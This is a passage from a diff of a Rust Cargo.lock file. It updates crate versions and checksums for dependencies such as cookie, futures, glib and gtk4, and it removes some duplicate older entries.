"2.3.0" +version = "2.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f057a694a54f12365049b0958a1685bb52d567f5593b355fbf685838e873d400" +checksum = "d16048cd947b08fa32c24458a22f5dc5e835264f689f4f5653210c69fd107363" dependencies = [ "crossbeam-utils", ] [[package]] name = "cookie" -version = "0.16.2" +version = "0.17.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e859cd57d0710d9e06c381b550c06e76992472a8c6d527aecd2fc673dcc231fb" +checksum = "7efb37c3e1ccb1ff97164ad95ac1606e8ccd35b3fa0a7d99a304c7f4a428cc24" dependencies = [ "percent-encoding", "time", @@ -763,12 +649,12 @@ dependencies = [ [[package]] name = "cookie_store" -version = "0.16.2" +version = "0.20.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d606d0fba62e13cf04db20536c05cb7f13673c161cb47a47a82b9b9e7d3f1daa" +checksum = "387461abbc748185c3a6e1673d826918b450b87ff22639429c694619a83b6cf6" dependencies = [ "cookie", - "idna 0.2.3", + "idna 0.3.0", "log", "publicsuffix", "serde", @@ -780,9 +666,9 @@ dependencies = [ [[package]] name = "core-foundation" -version = "0.9.3" +version = "0.9.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "194a7a9e6de53fa55116934067c844d9d749312f75c6f6d0980e8c252f8c2146" +checksum = "91e195e091a93c46f7102ec7818a2aa394e1e1771c3ab4825963fa03e45afb8f" dependencies = [ "core-foundation-sys", "libc", @@ -790,79 +676,70 @@ dependencies = [ [[package]] name = "core-foundation-sys" -version = "0.8.4" +version = "0.8.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e496a50fda8aacccc86d7529e2c1e0892dbd0f898a6b5645b5561b89c3210efa" +checksum = "06ea2b9bc92be3c2baa9334a323ebca2d6f074ff852cd1d7b11064035cd3868f" [[package]] name = "cpufeatures" -version = "0.2.9" +version = "0.2.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a17b76ff3a4162b0b27f354a0c87015ddad39d35f9c0c36607a3bdd175dde1f1" +checksum = "53fe5e26ff1b7aef8bca9c6080520cfb8d9333c7568e1829cef191a9723e5504" dependencies = [ "libc", ] [[package]] name = "crc-any" -version = "2.4.3" +version = "2.4.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "774646b687f63643eb0f4bf13dc263cb581c8c9e57973b6ddf78bda3994d88df" +checksum = "c01a5e1f881f6fb6099a7bdf949e946719fd4f1fefa56264890574febf0eb6d0" dependencies = [ "debug-helper", ] [[package]] name = "crc32fast" -version = "1.3.2" +version = "1.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b540bd8bc810d3885c6ea91e2018302f68baba2129ab3e88f32389ee9370880d" +checksum = "b3855a8a784b474f333699ef2bbca9db2c4a1f6d9088a90a2d25b1eb53111eaa" dependencies = [ "cfg-if", ] [[package]] name = "crossbeam-channel" -version = "0.5.8" +version = "0.5.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a33c2bf77f2df06183c3aa30d1e96c0695a313d4f9c453cc3762a6db39f99200" +checksum = "176dc175b78f56c0f321911d9c8eb2b77a78a4860b9c19db83835fea1a46649b" dependencies = [ - "cfg-if", "crossbeam-utils", ] [[package]] name = "crossbeam-deque" -version = "0.8.3" +version = "0.8.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ce6fd6f855243022dcecf8702fef0c297d4338e226845fe067f6341ad9fa0cef" +checksum = "613f8cc01fe9cf1a3eb3d7f488fd2fa8388403e97039e2f73692932e291a770d" dependencies = [ - "cfg-if", "crossbeam-epoch", "crossbeam-utils", ] [[package]] name = "crossbeam-epoch" -version = "0.9.15" +version = "0.9.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ae211234986c545741a7dc064309f67ee1e5ad243d0e48335adc0484d960bcc7" +checksum = "5b82ac4a3c2ca9c3460964f020e1402edd5753411d7737aa39c3714ad1b5420e" dependencies = [ - "autocfg", - "cfg-if", "crossbeam-utils", - "memoffset 0.9.0", - "scopeguard", ] [[package]] name = "crossbeam-utils" -version = "0.8.16" +version = "0.8.19" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5a22b2d63d4d1dc0b7f1b6b2747dd0088008a9be28b6ddf0b1e7d335e3037294" -dependencies = [ - "cfg-if", -] +checksum = "248e3bacc7dc6baa3b21e405ee045c3047101a49145e7e9eca583ab4c2ca5345" [[package]] name = "crunchy" @@ -882,9 +759,9 @@ dependencies = [ [[package]] name = "data-encoding" -version = "2.4.0" +version = "2.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c2e66c9d817f1720209181c316d28635c050fa304f9c79e47a520882661b7308" +checksum = "7e962a19be5cfc3f3bf6dd8f61eb50107f356ad6270fbb3ed41476571db78be5" [[package]] name = "debug-helper" @@ -894,9 +771,12 @@ checksum = "f578e8e2c440e7297e008bb5486a3a8a194775224bbc23729b0dbdfaeebf162e" [[package]] name = "deranged" -version = "0.3.8" +version = "0.3.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f2696e8a945f658fd14dc3b87242e6b80cd0f36ff04ea560fa39082368847946" +checksum = "b42b6fa04a440b495c8b04d0e71b707c585f83cb9cb28cf8cd0d976c315e31b4" +dependencies = [ + "powerfmt", +] [[package]] name = "derivative" @@ -928,9 +808,9 @@ checksum = "3c877555693c14d2f84191cfd3ad8582790fc52b5e2274b40b59cf5f5cea25c7" [[package]] name = "diesel" -version = "2.1.2" +version = "2.1.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "53c8a2cb22327206568569e5a45bb5a2c946455efdd76e24d15b7e82171af95e" +checksum = "62c6fcf842f17f8c78ecf7c81d75c5ce84436b41ee07e03f490fbb5f5a8731d8" dependencies = [ "bigdecimal", "chrono", @@ -956,7 +836,7 @@ dependencies = [ "diesel_table_macro_syntax", "proc-macro2", "quote", - "syn 2.0.37", + "syn 2.0.51", ] [[package]] @@ -976,7 +856,7 @@ version = "0.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "fc5557efc453706fed5e4fa85006fe9817c224c3f480a34c7e5959fd700921c5" dependencies = [ - "syn 2.0.37", + "syn 2.0.51", ] [[package]] @@ -1021,31 +901,11 @@ dependencies = [ [[package]] name = "dirs" -version = "4.0.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ca3aa72a6f96ea37bbc5aa912f6788242832f75369bdfdadcb0e38423f100059" -dependencies = [ - "dirs-sys 0.3.7", -] - -[[package]] -name = "dirs" version = "5.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "44c45a9d03d6676652bcb5e724c7e988de1acad23a711b5217ab9cbecbec2225" dependencies = [ - "dirs-sys 0.4.1", -] - -[[package]] -name = "dirs-sys" -version = "0.3.7" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1b1d1d91c932ef41c0f2663aa8b0ca0342d444d842c06914aa0a7e352d0bada6" -dependencies = [ - "libc", - "redox_users", - "winapi", + "dirs-sys", ] [[package]] @@ -1057,14 +917,14 @@ dependencies = [ "libc", "option-ext", "redox_users", - "windows-sys", + "windows-sys 0.48.0", ] [[package]] name = "either" -version = "1.9.0" +version = "1.10.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a26ae43d7bcc3b814de94796a5e736d4029efb0ee900c12e2d54c993ad1a1e07" +checksum = "11157ac094ffbdde99aa67b23417ebdd801842852b500e395a45a9c0aac03e4a" [[package]] name = "encoding_rs" @@ -1076,6 +936,12 @@ dependencies = [ ] [[package]] +name = "endi" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a3d8a32ae18130a3c84dd492d4215c3d913c3b07c6b63c2eb3eb7ff1101ab7bf" + +[[package]] name = "entities" version = "1.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1083,21 +949,21 @@ checksum = "b5320ae4c3782150d900b79807611a59a99fc9a1d61d686faafc24b93fc8d7ca" [[package]] name = "enum-as-inner" -version = "0.5.1" +version = "0.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c9720bba047d567ffc8a3cba48bf19126600e249ab7f128e9233e6376976a116" +checksum = "5ffccbb6966c05b32ef8fbac435df276c4ae4d3dc55a8cd0eb9745e6c12f546a" dependencies = [ "heck", "proc-macro2", "quote", - "syn 1.0.109", + "syn 2.0.51", ] [[package]] name = "enumflags2" -version = "0.7.8" +version = "0.7.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5998b4f30320c9d93aed72f63af821bfdac50465b75428fce77b48ec482c3939" +checksum = "3278c9d5fb675e0a51dabcf4c0d355f692b064171535ba72361be1528a9d8e8d" dependencies = [ "enumflags2_derive", "serde", @@ -1105,13 +971,13 @@ dependencies = [ [[package]] name = "enumflags2_derive" -version = "0.7.8" +version = "0.7.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f95e2801cd355d4a1a3e3953ce6ee5ae9603a5c833455343a8bfe3f44d418246" +checksum = "5c785274071b1b420972453b306eeca06acf4633829db4223b58a2a8c5953bc4" dependencies = [ "proc-macro2", "quote", - "syn 2.0.37", + "syn 2.0.51", ] [[package]] @@ -1122,23 +988,12 @@ checksum = "5443807d6dff69373d433ab9ef5378ad8df50ca6298caf15de6e52e24aaf54d5" [[package]] name = "errno" -version = "0.3.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "136526188508e25c6fef639d7927dfb3e0e3084488bf202267829cf7fc23dbdd" -dependencies = [ - "errno-dragonfly", - "libc", - "windows-sys", -] - -[[package]] -name = "errno-dragonfly" -version = "0.1.2" +version = "0.3.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "aa68f1b12764fab894d2755d2518754e71b4fd80ecfb822714a1206c2aab39bf" +checksum = "a258e46cdc063eb8519c00b9fc845fc47bcfca4130e2f08e88665ceda8474245" dependencies = [ - "cc", "libc", + "windows-sys 0.52.0", ] [[package]] @@ -1167,9 +1022,9 @@ checksum = "0206175f82b8d6bf6652ff7d71a1e27fd2e4efde587fd368662814d6ec1d9ce0" [[package]] name = "event-listener" -version = "3.0.0" +version = "4.0.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "29e56284f00d94c1bc7fd3c77027b4623c88c1f53d8d2394c6199f2921dea325" +checksum = "67b215c49b2b248c855fb73579eb1f4f26c38ffdc12973e20e07b91d78d5646e" dependencies = [ "concurrent-queue", "parking", @@ -1177,10 +1032,41 @@ dependencies = [ ] [[package]] +name = "event-listener" +version = "5.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b7ad6fd685ce13acd6d9541a30f6db6567a7a24c9ffd4ba2955d29e3f22c8b27" +dependencies = [ + "concurrent-queue", + "parking", + "pin-project-lite", +] + +[[package]] +name = "event-listener-strategy" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "958e4d70b6d5e81971bebec42271ec641e7ff4e170a6fa605f2b8a8b65cb97d3" +dependencies = [ + "event-listener 4.0.3", + "pin-project-lite", +] + +[[package]] +name = "event-listener-strategy" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "feedafcaa9b749175d5ac357452a9d41ea2911da598fde46ce1fe02c37751291" +dependencies = [ + "event-listener 5.1.0", + "pin-project-lite", +] + +[[package]] name = "exr" -version = "1.71.0" +version = "1.72.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "832a761f35ab3e6664babfbdc6cef35a4860e816ec3916dcfd0882954e98a8a8" +checksum = "887d93f60543e9a9362ef8a21beedd0a833c5d9610e18c67abe15a5963dcb1a4" dependencies = [ "bit_field", "flume", @@ -1194,9 +1080,9 @@ dependencies = [ [[package]] name = "eyre" -version = "0.6.8" +version = "0.6.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4c2b6b5a29c02cdc822728b7d7b8ae1bab3e3b05d44522770ddd49722eeac7eb" +checksum = "7cd915d99f24784cdc19fd37ef22b97e3ff0ae756c7e492e9fbfe897d61e2aec" dependencies = [ "indenter", "once_cell", @@ -1204,33 +1090,24 @@ dependencies = [ [[package]] name = "fastrand" -version = "1.9.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e51093e27b0797c359783294ca4f0a911c270184cb10f85783b118614a1501be" -dependencies = [ - "instant", -] - -[[package]] -name = "fastrand" version = "2.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "25cbce373ec4653f1a01a31e8a5e5ec0c622dc27ff9c4e6606eefef5cbbed4a5" [[package]] name = "fdeflate" -version = "0.3.0" +version = "0.3.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d329bdeac514ee06249dabc27877490f17f5d371ec693360768b838e19f3ae10" +checksum = "4f9bfee30e4dedf0ab8b422f03af778d9612b63f502710fc500a334ebe2de645" dependencies = [ "simd-adler32", ] [[package]] name = "feed-rs" -version = "1.3.0" +version = "1.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9dbec361cb401c1b86aea784fb809073733da06b1a1fd794222e7bf9845db327" +checksum = "1ebf574f2f8a63948eae0d786c1fe339d71b6c98e735d58c81c85d93c8a66edf" dependencies = [ "chrono", "lazy_static", @@ -1239,7 +1116,7 @@ dependencies = [ "regex", "serde", "serde_json", - "siphasher", + "siphasher 1.0.0", "url", "uuid", ] @@ -1298,15 +1175,15 @@ version = "0.3.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "38e2275cc4e4fc009b0669731a1e5ab7ebf11f469eaede2bab9309a5b4d6057f" dependencies = [ - "memoffset 0.9.0", + "memoffset", "rustc_version", ] [[package]] name = "flate2" -version = "1.0.27" +version = "1.0.28" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c6c98ee8095e9d1dcbf2fcc6d95acccb90d1c81db1e44725c6a984b1dbdfb010" +checksum = "46303f565772937ffe1d394a4fac6f411c6013172fadde9dcdb1e147a086940e" dependencies = [ "crc32fast", "miniz_oxide", @@ -1318,7 +1195,7 @@ version = "0.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "55ac459de2512911e4b674ce33cf20befaba382d05b62b008afc1c8b57cbf181" dependencies = [ - "spin 0.9.8", + "spin", ] [[package]] @@ -1344,9 +1221,9 @@ checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b" [[package]] name = "form_urlencoded" -version = "1.2.0" +version = "1.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a62bc1cf6f830c2ec14a513a9fb124d0a213a629668a4186f329db21fe045652" +checksum = "e13624c2627564efccf4934284bdd98cbaa14e79b0b5a141218e507b3a823456" dependencies = [ "percent-encoding", ] @@ -1363,9 +1240,9 @@ dependencies = [ [[package]] name = "futures" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "23342abe12aba583913b2e62f22225ff9c950774065e4bfb61a19cd9770fec40" +checksum = "645c6916888f6cb6350d2550b80fb63e734897a8498abe35cfb732b6487804b0" dependencies = [ "futures-channel", "futures-core", @@ -1378,9 +1255,9 @@ dependencies = [ [[package]] name = "futures-channel" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "955518d47e09b25bbebc7a18df10b81f0c766eaf4c4f1cccef2fca5f2a4fb5f2" +checksum = "eac8f7d7865dcb88bd4373ab671c8cf4508703796caa2b1985a9ca867b3fcb78" dependencies = [ "futures-core", "futures-sink", @@ -1388,15 +1265,15 @@ dependencies = [ [[package]] name = "futures-core" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4bca583b7e26f571124fe5b7561d49cb2868d79116cfa0eefce955557c6fee8c" +checksum = "dfc6580bb841c5a68e9ef15c77ccc837b40a7504914d52e47b8b0e9bbda25a1d" [[package]] name = "futures-executor" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ccecee823288125bd88b4d7f565c9e58e41858e47ab72e8ea2d64e93624386e0" +checksum = "a576fc72ae164fca6b9db127eaa9a9dda0d61316034f33a0a0d4eda41f02b01d" dependencies = [ "futures-core", "futures-task", @@ -1406,53 +1283,51 @@ dependencies = [ [[package]] name = "futures-io" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4fff74096e71ed47f8e023204cfd0aa1289cd54ae5430a9523be060cdb849964" +checksum = "a44623e20b9681a318efdd71c299b6b222ed6f231972bfe2f224ebad6311f0c1" [[package]] name = "futures-lite" -version = "1.13.0" +version = "2.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "49a9d51ce47660b1e808d3c990b4709f2f415d928835a17dfd16991515c46bce" +checksum = "445ba825b27408685aaecefd65178908c36c6e96aaf6d8599419d46e624192ba" dependencies = [ - "fastrand 1.9.0", + "fastrand", "futures-core", "futures-io", - "memchr", "parking", "pin-project-lite", - "waker-fn", ] [[package]] name = "futures-macro" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "89ca545a94061b6365f2c7355b4b32bd20df3ff95f02da9329b34ccc3bd6ee72" +checksum = "87750cf4b7a4c0625b1529e4c543c2182106e4dedc60a2a6455e00d212c489ac" dependencies = [ "proc-macro2", "quote", - "syn 2.0.37", + "syn 2.0.51", ] [[package]] name = "futures-sink" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f43be4fe21a13b9781a69afa4985b0f6ee0e1afab2c6f454a8cf30e2b2237b6e" +checksum = "9fb8e00e87438d937621c1c6269e53f536c14d3fbd6a042bb24879e57d474fb5" [[package]] name = "futures-task" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "76d3d132be6c0e6aa1534069c705a74a5997a356c0dc2f86a47765e5617c5b65" +checksum = "38d84fa142264698cdce1a9f9172cf383a0c82de1bddcf3092901442c4097004" [[package]] name = "futures-util" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "26b01e40b772d54cf6c6d721c1d1abd0647a0106a12ecaa1c186273392a69533" +checksum = "3d6401deb83407ab3da39eba7e33987a73c3df0c82b4bb5813ee871c19c41d48" dependencies = [ "futures-channel", "futures-core", @@ -1468,22 +1343,21 @@ dependencies = [ [[package]] name = "gdk-pixbuf" -version = "0.18.0" +version = "0.19.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bbc9c2ed73a81d556b65d08879ba4ee58808a6b1927ce915262185d6d547c6f3" +checksum = "f6a23f8a0b5090494fd04924662d463f8386cc678dd3915015a838c1a3679b92" dependencies = [ "gdk-pixbuf-sys", "gio", "glib", "libc", - "once_cell", ] [[package]] name = "gdk-pixbuf-sys" -version = "0.18.0" +version = "0.19.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3f9839ea644ed9c97a34d129ad56d38a25e6756f99f3a88e15cd39c20629caf7" +checksum = "3dcbd04c1b2c4834cc008b4828bc917d062483b88d26effde6342e5622028f96" dependencies = [ "gio-sys", "glib-sys", @@ -1494,9 +1368,9 @@ dependencies = [ [[package]] name = "gdk4" -version = "0.7.3" +version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7edb019ad581f8ecf8ea8e4baa6df7c483a95b5a59be3140be6a9c3b0c632af6" +checksum = "6771942f85a2beaa220c64739395e4401b9fab4a52aba9b503fa1e6ed4d4d806" dependencies = [ "cairo-rs", "gdk-pixbuf", @@ -1509,9 +1383,9 @@ dependencies = [ [[package]] name = "gdk4-sys" -version = "0.7.2" +version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dbab43f332a3cf1df9974da690b5bb0e26720ed09a228178ce52175372dcfef0" +checksum = "1eb95854fab65072023a7814434f003db571d6e45c287c0b0c540c1c78bdf6ae" dependencies = [ "cairo-sys-rs", "gdk-pixbuf-sys", @@ -1536,24 +1410,13 @@ dependencies = [ [[package]] name = "getrandom" -version = "0.1.16" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8fc3cb4d91f53b50155bdcfd23f6a4c39ae1969c2ae85982b135750cccaf5fce" -dependencies = [ - "cfg-if", - "libc", - "wasi 0.9.0+wasi-snapshot-preview1", -] - -[[package]] -name = "getrandom" -version = "0.2.10" +version = "0.2.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "be4136b2a15dd319360be1c07d9933517ccf0be8f16bf62a3bee4f0d618df427" +checksum = "190092ea657667030ac6a35e305e62fc4dd69fd98ac98631e5d3a2b1575a12b5" dependencies = [ "cfg-if", "libc", - "wasi 0.11.0+wasi-snapshot-preview1", + "wasi", ] [[package]] @@ -1578,9 +1441,9 @@ dependencies = [ [[package]] name = "gif" -version = "0.12.0" +version = "0.13.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "80792593675e051cf94a4b111980da2ba60d4a83e43e0048c5693baab3977045" +checksum = "3fb2d69b19215e18bb912fa30f7ce15846e301408695e44e0ef719f1da9e19f2" dependencies = [ "color_quant", "weezl", @@ -1588,15 +1451,15 @@ dependencies = [ [[package]] name = "gimli" -version = "0.28.0" +version = "0.28.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6fb8d784f27acf97159b40fc4db5ecd8aa23b9ad5ef69cdd136d3bc80665f0c0" +checksum = "4271d37baee1b8c7e4b708028c57d816cf9d2434acb33a549475f78c181f6253" [[package]] name = "gio" -version = "0.18.2" +version = "0.19.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "57052f84e8e5999b258e8adf8f5f2af0ac69033864936b8b6838321db2f759b1" +checksum = "2eae10b27b6dd27e22ed0d812c6387deba295e6fc004a8b379e459b663b05a02" dependencies = [ "futures-channel", "futures-core", @@ -1605,7 +1468,6 @@ dependencies = [ "gio-sys", "glib", "libc", - "once_cell", "pin-project-lite", "smallvec", "thiserror", @@ -1613,24 +1475,24 @@ dependencies = [ [[package]] name = "gio-sys" -version = "0.18.1" +version = "0.19.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "37566df850baf5e4cb0dfb78af2e4b9898d817ed9263d1090a2df958c64737d2" +checksum = "bcf8e1d9219bb294636753d307b030c1e8a032062cba74f493c431a5c8b81ce4" dependencies = [ "glib-sys", "gobject-sys", "libc", "system-deps", - "winapi", + "windows-sys 0.52.0", ] [[package]] name = "glib" -version = "0.18.2" +version = "0.19.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1c316afb01ce8067c5eaab1fc4f2cd47dc21ce7b6296358605e2ffab23ccbd19" +checksum = "ab9e86540b5d8402e905ad4ce7d6aa544092131ab564f3102175af176b90a053" dependencies = [ - "bitflags 2.4.0", + "bitflags 2.4.2", "futures-channel", "futures-core", "futures-executor", @@ -1642,30 +1504,28 @@ dependencies = [ "gobject-sys", "libc", "memchr", - "once_cell", "smallvec", "thiserror", ] [[package]] name = "glib-macros" -version = "0.18.2" +version = "0.19.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f8da903822b136d42360518653fcf154455defc437d3e7a81475bf9a95ff1e47" +checksum = "0f5897ca27a83e4cdc7b4666850bade0a2e73e17689aabafcc9acddad9d823b8" dependencies = [ "heck", "proc-macro-crate", - "proc-macro-error", "proc-macro2", "quote", - "syn 2.0.37", + "syn 2.0.51", ] [[package]] name = "glib-sys" -version = "0.18.1" +version = "0.19.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "063ce2eb6a8d0ea93d2bf8ba1957e78dbab6be1c2220dd3daca57d5a9d869898" +checksum = "630f097773d7c7a0bb3258df4e8157b47dc98bbfa0e60ad9ab56174813feced4" dependencies = [ "libc", "system-deps", @@ -1678,22 +1538,10 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d2fabcfbdc87f4758337ca535fb41a6d701b65693ce38287d856d1674551ec9b" [[package]] -name = "gloo-timers" -version = "0.2.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9b995a66bb87bebce9a0f4a95aed01daca4872c050bfcb21653361c03bc35e5c" -dependencies = [ - "futures-channel", - "futures-core", - "js-sys", - "wasm-bindgen", -] - -[[package]] name = "gobject-sys" -version = "0.18.0" +version = "0.19.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0850127b514d1c4a4654ead6dedadb18198999985908e6ffe4436f53c785ce44" +checksum = "c85e2b1080b9418dd0c58b498da3a5c826030343e0ef07bde6a955d28de54979" dependencies = [ "glib-sys", "libc", @@ -1702,9 +1550,9 @@ dependencies = [ [[package]] name = "graphene-rs" -version = "0.18.1" +version = "0.19.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3b2228cda1505613a7a956cca69076892cfbda84fc2b7a62b94a41a272c0c401" +checksum = "99e4d388e96c5f29e2b2f67045d229ddf826d0a8d6d282f94ed3b34452222c91" dependencies = [ "glib", "graphene-sys", @@ -1713,9 +1561,9 @@ dependencies = [ [[package]] name = "graphene-sys" -version = "0.18.1" +version = "0.19.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cc4144cee8fc8788f2a9b73dc5f1d4e1189d1f95305c4cb7bd9c1af1cfa31f59" +checksum = "236ed66cc9b18d8adf233716f75de803d0bf6fc806f60d14d948974a12e240d0" dependencies = [ "glib-sys", "libc", @@ -1741,9 +1589,9 @@ dependencies = [ [[package]] name = "gsk4" -version = "0.7.3" +version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0d958e351d2f210309b32d081c832d7de0aca0b077aa10d88336c6379bd01f7e" +checksum = "0e8ce8dee0fd87a11002214b1204ff18c9272fbd530408f0884a0f9b25dc31de" dependencies = [ "cairo-rs", "gdk4", @@ -1756,9 +1604,9 @@ dependencies = [ [[package]] name = "gsk4-sys" -version = "0.7.3" +version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "12bd9e3effea989f020e8f1ff3fa3b8c63ba93d43b899c11a118868853a56d55" +checksum = "2660a652da5b662d43924df19ba40d73f015ed427329ef51d2b1360a4e0dc0e4" dependencies = [ "cairo-sys-rs", "gdk4-sys", @@ -1772,9 +1620,9 @@ dependencies = [ [[package]] name = "gtk4" -version = "0.7.3" +version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5aeb51aa3e9728575a053e1f43543cd9992ac2477e1b186ad824fd4adfb70842" +checksum = "7d26ffa3ec6316ccaa1df62d3e7f5bae1637c0acbb43f250fabef38319f73c64" dependencies = [ "cairo-rs", "field-offset", @@ -1793,9 +1641,9 @@ dependencies = [ [[package]] name = "gtk4-macros" -version = "0.7.2" +version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d57ec49cf9b657f69a05bca8027cff0a8dfd0c49e812be026fc7311f2163832f" +checksum = "c8b86439e9896f6f3f47c3d8077c5c8205174078760afdabd9098a8e9e937d97" dependencies = [ "anyhow", "proc-macro-crate", @@ -1807,9 +1655,9 @@ dependencies = [ [[package]] name = "gtk4-sys" -version = "0.7.3" +version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "54d8c4aa23638ce9faa2caf7e2a27d4a1295af2155c8e8d28c4d4eeca7a65eb8" +checksum = "2abc0a6d356d59a3806021829ce6ed3e70bba3509b41a535fedcb09fae13fbc0" dependencies = [ "cairo-sys-rs", "gdk-pixbuf-sys", @@ -1826,9 +1674,9 @@ dependencies = [ [[package]] name = "h2" -version = "0.3.21" +version = "0.3.24" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "91fc23aa11be92976ef4729127f1a74adf36d8436f7816b185d18df956790833" +checksum = "bb2c4422095b67ee78da96fbb51a4cc413b3b25883c7717ff7ca1ab31022c9c9" dependencies = [ "bytes", "fnv", @@ -1836,7 +1684,7 @@ dependencies = [ "futures-sink", "futures-util", "http", - "indexmap 1.9.3", + "indexmap", "slab", "tokio", "tokio-util", @@ -1845,18 +1693,19 @@ dependencies = [ [[package]] name = "half" -version = "2.2.1" +version = "2.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "02b4af3693f1b705df946e9fe5631932443781d0aabb423b62fcd4d73f6d2fd0" +checksum = "b5eceaaeec696539ddaf7b333340f1af35a5aa87ae3e4f3ead0532f72affab2e" dependencies = [ + "cfg-if", "crunchy", ] [[package]] name = "hard-xml" -version = "1.27.0" +version = "1.34.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b74134bb74033894bf6b22cb9078c5e19bb750bd586f5cea24bc4acf23e9da9a" +checksum = "fafc2bcb74049535eb6fab49eb20164a427867a9e809516ef95a98e961164432" dependencies = [ "hard-xml-derive", "jetscii", @@ -1867,9 +1716,9 @@ dependencies = [ [[package]] name = "hard-xml-derive" -version = "1.27.0" +version = "1.34.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f50ce8d120d040bf18a4d8dd75ea96497cc75d285b09e2473e88df57bb20f3ab" +checksum = "57a345b327da51b997c94f841d9db6b2d292c7632713bd8a1b8b191e8b819df7" dependencies = [ "bitflags 1.3.2", "proc-macro2", @@ -1879,15 +1728,9 @@ dependencies = [ [[package]] name = "hashbrown" -version = "0.12.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888" - -[[package]] -name = "hashbrown" -version = "0.14.0" +version = "0.14.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2c6201b9ff9fd90a5a3bac2e56a830d0caa509576f0e503818ee82c181b3437a" +checksum = 